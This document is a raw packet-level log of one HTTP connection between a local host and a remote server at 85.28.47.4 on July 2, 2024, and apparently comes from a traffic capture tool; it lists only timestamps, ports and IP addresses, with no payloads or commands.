Jul 2, 2024 12:21:03.348050117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.348067045 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.348328114 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.351970911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.351984978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.351996899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352019072 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352042913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352065086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352097034 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352106094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352118015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352138042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352154016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352194071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352205038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352216005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352222919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352227926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352240086 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352258921 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352268934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352297068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352298021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352325916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352363110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352374077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352385044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352394104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352394104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352411032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352425098 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352435112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352468967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352525949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352535963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352546930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352555990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352560043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352571964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352574110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352583885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.352598906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.352616072 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.353173018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.353183985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.353195906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.353209972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.353239059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.353259087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.353269100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.353281021 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.353291988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.353308916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.353332996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.353343010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.353360891 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.353385925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.428112030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428129911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428143024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428162098 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.428174973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428185940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428189993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.428198099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428210020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428217888 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.428236961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.428370953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428383112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428394079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428404093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428406000 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.428415060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428426027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428435087 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.428437948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.428472042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434160948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434189081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434202909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434221029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434237957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434263945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434263945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434274912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434294939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434309959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434364080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434374094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434386015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434393883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434412956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434508085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434539080 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434576035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434586048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434597015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434618950 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434645891 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434758902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434768915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434779882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434792042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434792995 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434820890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434844971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434850931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434880972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.434961081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434971094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.434992075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435009003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435012102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435022116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435031891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435040951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435060024 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435134888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435146093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435157061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435168028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435172081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435188055 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435203075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435213089 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435214043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435225010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435231924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435235977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435249090 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435267925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435303926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435333967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435350895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435360909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435384035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435404062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435415030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435425043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435436010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435436964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435450077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435461044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435501099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435594082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435605049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435622931 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435648918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435663939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435672998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435683966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435693979 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435712099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435833931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435843945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435854912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435864925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435866117 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435875893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435887098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.435894966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.435925007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436031103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436041117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436052084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436059952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436069965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436080933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436088085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436115980 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436151028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436161995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436172009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436182022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436182976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436213017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436376095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436386108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436403036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436405897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436413050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436424017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436424017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436434984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436444998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436446905 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436455011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436465979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436475039 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436479092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436495066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436496019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436506033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436511993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436537027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436860085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436871052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436881065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436892033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436892986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436903000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436912060 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436913967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436924934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.436942101 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.436960936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.440959930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.440999031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441010952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441021919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441031933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441041946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441046000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441063881 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441101074 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441123009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441133976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441144943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441157103 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441173077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441262007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441272020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441282988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441293001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441293955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441303968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441315889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441323042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441349983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441361904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441390991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441396952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441409111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441427946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441451073 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441509008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441520929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441531897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441541910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.441550970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.441576004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.442003012 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.442028999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.442039013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.442044020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.442061901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.442070961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.442082882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.442100048 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.442126036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.442128897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.442140102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.442178965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.442188025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.442223072 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.516983986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517067909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.517082930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517096043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517107010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517117023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.517117977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517131090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517138958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.517143011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517182112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.517187119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517198086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517209053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517220020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.517230988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517241955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517251968 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.517278910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.517314911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517326117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.517344952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.517370939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523113966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523148060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523158073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523169041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523175001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523175001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523202896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523247957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523258924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523268938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523281097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523289919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523312092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523380995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523428917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523442984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523472071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523472071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523520947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523530006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523533106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523544073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523551941 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523566961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523583889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523617983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523629904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523650885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523658037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523667097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523688078 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523735046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523747921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523772001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523787975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523818016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523829937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523839951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523852110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523870945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523911953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523922920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523932934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523956060 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.523957014 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.523981094 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524008036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524033070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524044037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524055958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524065971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524075985 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524076939 CEST	80	49699	85.28.47.4	192.168.2.7
